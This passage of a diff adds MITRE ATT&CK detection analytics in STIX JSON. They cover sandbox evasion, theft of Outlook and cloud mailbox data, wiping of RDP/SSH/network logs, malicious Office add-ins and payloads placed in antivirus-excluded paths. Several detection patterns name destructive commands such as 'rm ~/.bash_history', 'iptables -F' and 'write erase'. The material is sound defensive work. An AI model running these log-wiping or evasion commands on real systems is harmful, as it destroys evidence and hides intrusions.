"BehavioralCorrelationWindow", + "description": "Time span in which to correlate command-line inconsistencies with anomalous behavior such as network activity or registry modification." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--55808d73-7aa9-4f2c-8122-8e60bf14f4c6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0046#AN0127", + "external_id": "AN0127" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0127", + "description": "Execution of discovery commands or API calls for virtualization artifacts (e.g., registry keys, device drivers, services), sleep/skipped execution behavior, or sandbox evasion DLLs before payload deployment.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time range in which multiple discovery processes or sleep/delay operations are executed to avoid sandbox detonation." + }, + { + "field": "KnownVMArtifactList", + "description": "Registry paths, DLLs, services or device names indicative of sandbox/VM environments." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--412b76ec-d44e-4064-9dc1-32cf793f0176", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0046#AN0128", + "external_id": "AN0128" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0128", + "description": "Execution of commands to enumerate virtualization-related files or processes (e.g., '/sys/class/dmi/id/product_name', dmesg, lscpu, lspci), or querying hypervisor interfaces prior to malware execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "sleep function usage or loops (nanosleep, usleep) in scripts" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Duration between VM discovery commands and payload execution" + }, + { + "field": "CommandArtifactMatchList", + "description": "Command-line regex patterns indicative of sandbox evasion (e.g., grep QEMU, strings vmware)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b12639b9-5daa-46aa-a21f-521f6962f042", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0046#AN0129", + "external_id": "AN0129" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0129", + "description": "Execution of scripts or binaries that check for virtualization indicators (e.g., system_profiler, ioreg -l, kextstat), combined with delay functions or anomalous launchd activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "macos:unifiedlog", + "channel": "dynamic loading of sleep-related functions or sandbox detection libraries" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessCommandPattern", + "description": "Detection regex or substring matching sandbox-related checks" + }, + { + "field": "SleepThreshold", + "description": "Maximum duration of sleep execution before alert (e.g., > 5 minutes)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--11cd0577-97e6-4def-a86b-fe167ae4e33d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0047#AN0130", + "external_id": "AN0130" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0130", + "description": "Detection focuses on processes that attempt to locate, access, or exfiltrate local Outlook data files (.pst/.ost) using file system access, native Windows utilities (e.g., PowerShell, WMI), or remote access tools with file browsing capabilities. The behavior chain includes directory enumeration, file access, optional compression or staging, and network transfer.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetFilePathPattern", + "description": "Regex or wildcard patterns for sensitive Outlook file paths (.ost/.pst) depending on organizational deployment." + }, + { + "field": "TimeWindow", + "description": "Timeframe used to correlate related file access, process creation, and exfiltration events." + }, + { + "field": "UserContext", + "description": "Limit detection to user accounts not normally interacting with Outlook file locations (e.g., service accounts, low-privileged users)." + }, + { + "field": "ProcessAllowList", + "description": "Filter known legitimate Outlook-accessing processes to reduce false positives." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c42179a8-71c5-41ba-bbfa-d6c1a93e729b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0048#AN0131", + "external_id": "AN0131" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0131", + "description": "Detects adversaries accessing remote mail systems (e.g., Exchange Online, O365) using stolen credentials or OAuth tokens, followed by scripted access to mailbox contents via PowerShell, AADInternals, or unattended API queries. Detection focuses on abnormal logon sessions, user agents, IP locations, and scripted or tool-based email data access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "azure:signinlogs", + "channel": "Abnormal sign-in from scripting tools (PowerShell, AADInternals)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:purview", + "channel": "MailItemsAccessed & Exchange Audit" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserAgentPattern", + "description": "Filters user agents like 'PowerShell', 'AADInternals', 'python-requests' which can vary depending on script/tool." + }, + { + "field": "TimeWindow", + "description": "Defines the temporal correlation window between login, command execution, and outbound email access." + }, + { + "field": "KnownIPLocations", + "description": "Defines baseline geo/IP address ranges to suppress known corporate access." + }, + { + "field": "PrivilegedUserList", + "description": "Defines the accounts considered privileged (admin, execs) and worthy of tighter thresholds." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3af413c2-5b26-4f43-b198-11b4dce97a0a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0048#AN0132", + "external_id": "AN0132" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0132", + "description": "Monitors programmatic access to user mailboxes in cloud-based email systems (e.g., O365, Exchange Online) using APIs or tokens. Focuses on OAuth misuse, suspicious MailItemsAccessed patterns, scripted keyword searches, and connections from untrusted agents or locations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:purview", + "channel": "MailItemsAccessed, Search-Mailbox events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "azure:signinlogs", + "channel": "Suspicious login to cloud mailbox system" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "m365:unified", + "channel": "Search-Mailbox, Get-MessageTrace, eDiscovery requests" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MailAccessVolumeThreshold", + "description": "Number of emails accessed within time window to flag anomaly." + }, + { + "field": "OAuthClientIDAllowList", + "description": "Allows tuning based on known app registrations." + }, + { + "field": "KeywordSearchFrequency", + "description": "Flag high volumes of message searches using suspicious patterns." + }, + { + "field": "LoginGeolocationVariance", + "description": "Trigger when IP geolocation varies significantly from user's historical profile." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d71c4839-8d23-41f4-b59a-8bd2c3517d1e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0049#AN0133", + "external_id": "AN0133" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0133", + "description": "Detects attempts to clear RDP/network history and modify network configuration artifacts through command execution, registry key deletion, firewall rule changes, and suspicious file deletions (e.g., Default.rdp, registry edits to Terminal Server Client keys).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "EDR:cli", + "channel": "Command Line Telemetry" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f", + "name": "WinEventLog:Security", + "channel": "Firewall Rule Modification" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetPathRegex", + "description": "Filter file/registry paths like *\\Terminal Server Client\\* or *Default.rdp*" + }, + { + "field": "TimeWindow", + "description": "Correlate command/registry edits within close proximity to suspicious connection activity" + }, + { + "field": "UserContext", + "description": "Detect cleanup behavior from non-interactive or SYSTEM accounts" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0bd02555-3b54-4425-84c8-118b95857df1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0049#AN0134", + "external_id": "AN0134" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0134", + "description": "Detects deletion or overwriting of logs/configs that store SSH or proxy activity, such as /var/log/auth.log or custom .bash_history clearing tied to SSH sessions or firewall rule changes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "PATH" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandMatchPattern", + "description": "Commands like `> /var/log/auth.log`, `rm ~/.bash_history`, `iptables -F`" + }, + { + "field": "LogPathFilter", + "description": "Focus on /var/log/auth.log, /etc/ssh/, ~/.bash_history" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d01951d8-aae8-48b6-afd3-68c86fc167b1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0049#AN0135", + "external_id": "AN0135" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0135", + "description": "Detects removal of Remote Login or Screen Sharing logs in Unified Logging, deletion of `com.apple.UTun`, or suspicious Terminal use of `rm`, `sudo pfctl -F all` to clear network state/config history.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"loginwindow\" or \"pfctl\"'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:osquery", + "channel": "file_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilenameMatch", + "description": "e.g., *com.apple.UTun*, *RemoteManagement* log files" + }, + { + "field": "TimeDeltaFromLogin", + "description": "Correlate deletion with recent SSH or GUI remote login session" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5258feec-def7-43e0-bbe9-459ba53d3e28", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0049#AN0136", + "external_id": "AN0136" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0136", + "description": "Detects firewall rule modifications or reset of logs/connection tables (e.g., `clear logging`, `erase startup-config`, `write erase`) following remote access activity on routers, switches, or VPN appliances.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "Command Audit / Configuration Change" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Session History Reset" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandPattern", + "description": "e.g., `clear logging`, `no logging buffered`, `no ip domain-lookup`" + }, + { + "field": "DeviceTypeFilter", + "description": "Switches vs VPN vs routers" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7263a8a8-a06f-4bdc-a021-3529ad683f9d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0050#AN0137", + "external_id": "AN0137" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0137", + "description": "An adversary writes or drops a malicious Office Add-in (e.g., WLL, XLL, COM) to a trusted directory or modifies registry keys to load malicious add-ins on Office application launch. Upon user opening Word or Excel, the add-in is automatically loaded, triggering execution of the payload, often spawning scripting engines or anomalous child processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=2" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AddInExtension", + "description": "Malicious add-ins may have varying extensions (.wll, .xll, .dll, .vsto)" + }, + { + "field": "TrustedPath", + "description": "Office trusted add-in paths may differ across enterprise configurations" + }, + { + "field": "RegistryPath", + "description": "Registry keys used to load add-ins may be version- and app-specific" + }, + { + "field": "ChildProcessName", + "description": "Office processes spawning mshta.exe, powershell.exe, or rundll32.exe are abnormal" + }, + { + "field": "TimeWindow", + "description": "Add-in loading may occur only during Office launch windows" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9ad4670e-f336-454f-960e-4f2f611f3657", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0050#AN0138", + "external_id": "AN0138" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0138", + "description": "Malicious Office add-ins loaded via VSTO, COM, or VBA auto-load paths. Upon launch of Word/Excel/Outlook, the add-in executes code without user action. Add-in resides in trusted directory or registered via Office COM/VBE subsystem. Behavior includes unsigned add-in execution, anomalous load context, or add-in spawning interpreter process.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "Office Add-in load errors, abnormal loading context, or unsigned add-in warnings" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:Microsoft-Office/OutlookAddinMonitor", + "channel": "Outlook loading add-in via unexpected load path or non-default profile context" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UnsignedAddInBehavior", + "description": "Admins may allow or block unsigned add-ins depending on GPO configuration" + }, + { + "field": "OfficeProductVersion", + "description": "Different Office versions store trusted paths and add-in configs in version-specific locations" + }, + { + "field": "AddInTrigger", + "description": "Some add-ins only load on specific actions (new document, open file, etc.)" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--620cae28-1874-462d-a2e4-47ddd75098ea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0051#AN0139", + "external_id": "AN0139" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0139", + "description": "Creation or modification of files in directories known to be excluded from AV scanning (e.g., C:\\Windows\\Temp, Exchange server directories, or default AV exclusions). Defender perspective: correlate file creation with execution behavior or anomalous parent processes writing to excluded paths.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExcludedPaths", + "description": "List of directories excluded from scanning in the environment (customizable per organization)." + }, + { + "field": "ProcessAllowlist", + "description": "Legitimate processes typically writing to excluded paths to minimize false positives." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fd7bf05d-6f80-471c-99bf-7aa82ab25440", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0051#AN0140", + "external_id": "AN0140" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0140", + "description": "Adversaries writing or moving payloads into directories configured as AV/EDR exclusion paths (e.g., /tmp, /var/lib, or custom directories from auditd exclusion rules). Defender perspective: detect file creation in paths matching known exclusions correlated with unusual parent processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "open or creat syscalls targeting excluded paths" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "auditd:PATH", + "channel": "file path matches exclusion directories" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExcludedDirectories", + "description": "System- or security-tool-configured exclusion directories where files should rarely change." + }, + { + "field": "CorrelationWindow", + "description": "Time window to correlate file creation in excluded paths with execution or network activity." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3643a313-1aa7-44d1-b3e2-e97ad65c6837", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0051#AN0141", + "external_id": "AN0141" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0141", + "description": "Suspicious file creation or modification in directories ignored by XProtect or AV exclusions (e.g., ~/Library, temporary cache directories). Defender perspective: monitor file events in ignored paths with correlation to execution or persistence activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "file creation in AV exclusion directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process writes or modifies files in excluded paths" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AVExclusionPaths", + "description": "Paths ignored by AV/XProtect that should be monitored for abnormal writes." + }, + { + "field": "ProcessContext", + "description": "Expected user or application context writing to excluded directories." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0994985d-1d45-478e-9f1c-f407eb297007", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + 